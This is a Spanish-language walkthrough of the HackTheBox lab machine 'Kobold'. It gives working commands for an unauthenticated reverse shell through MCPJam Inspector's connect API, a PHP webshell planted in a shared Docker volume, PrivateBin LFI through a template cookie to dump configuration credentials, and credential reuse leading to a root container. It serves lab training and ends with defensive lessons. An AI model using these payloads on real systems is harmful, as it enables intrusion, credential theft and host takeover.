RCE a través de MCPJam Inspector en HackTheBox Kobold: Guía Completa
HackTheBox Kobold (Temporada 10, Fácil) destaca una amenaza real de herramientas de desarrollo expuestas en el ecosistema de IA/ML. El vector principal de ataque es un RCE sin autenticación en MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Esto conduce a una cadena a través de volúmenes de Docker y reutilización de credenciales, resultando finalmente en acceso root. Este análisis está dirigido a profesionales de DevSecOps de nivel medio a senior.
Nmap revela los puertos 22 (SSH), 80/443 (nginx, kobold.htb) y 3552 (panel Arcane). La clave es un comodín *.kobold.htb en SSL y el subdominio mcp.kobold.htb con un MCPJam Inspector expuesto.
Reconocimiento y Enumeración
Escaneo estándar de nmap:
nmap -p- -sC -sV -oN recon/nmap/full.txt <IP del objetivo>
| Puerto | Servicio | Versión | Notas |
|--------|----------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | Sin CVE |
| 80 | HTTP | nginx 1.24.0 | Redirige a HTTPS |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Panel Arcane |
ffuf para enumeración de vhost:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
Encontrado mcp.kobold.htb — MCPJam Inspector v1.4.2. Acceso completo: Servidores, Chat, Constructor de Aplicaciones sin inicio de sesión. Conectado a Ollama.
Protocolo de Contexto de Modelo (MCP) — un protocolo para integrar modelos de IA con herramientas externas. Inspector escucha en 0.0.0.0, y la API /api/mcp/connect acepta serverConfig.command sin validación.
Punto de Apoyo: RCE en MCPJam
Configuración del listener:
nc -lvnp 4444
Payload:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Tu IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Shell como ben (uid=1001, grupos=ben,operator). Estabilización:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
Bandera de usuario: /home/ben/user.txt.
Reconocimiento Interno
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
Usuarios con shell: root, ben, alice. ben — operator, alice — docker.
ss -tlnp muestra localhost:8080 (PrivateBin Docker), 6274 (MCPJam). La configuración de nginx revela bin.kobold.htb → localhost:8080.
El grupo operator tiene acceso de lectura/escritura a /privatebin-data/ — un volumen compartido de Docker.
find / -group operator 2>/dev/null
LFI en PrivateBin a través del Volumen
PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI a través de la cookie template cuando templateselection = true.
- Webshell en el volumen:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- Ejecución:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- Volcado de conf.php:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
Credenciales de MySQL: usuario privatebin, contraseña filtrada.
Escalada de Privilegios: Reutilización de Credenciales
Lista de verificación:
- SSH (alice/ben/root + filtradas)
- su alice/root
- Arcane: arcane/arcane-admin + filtradas
Éxito: arcane / <CONTRASEÑA_FILTRADA> en Arcane v1.13.0 en :3552.
En el panel, control total de Docker. Crear un contenedor con montaje privilegiado /host → shell root.
Conclusiones Clave:
- Herramientas MCP expuestas (GHSA-232v-j27c-5pp6) — un nuevo vector de RCE en infraestructura de IA
- Volúmenes de Docker compartidos + grupo operator = acceso al sistema de archivos del host
- Reutilización de credenciales: usuarios predeterminados + contraseñas filtradas
- Encadenamiento de LFI a través de volúmenes escribibles evita el aislamiento de contenedores
- Siempre enumerar subdominios comodín y servicios internos
— Editorial Team
Aún no hay comentarios.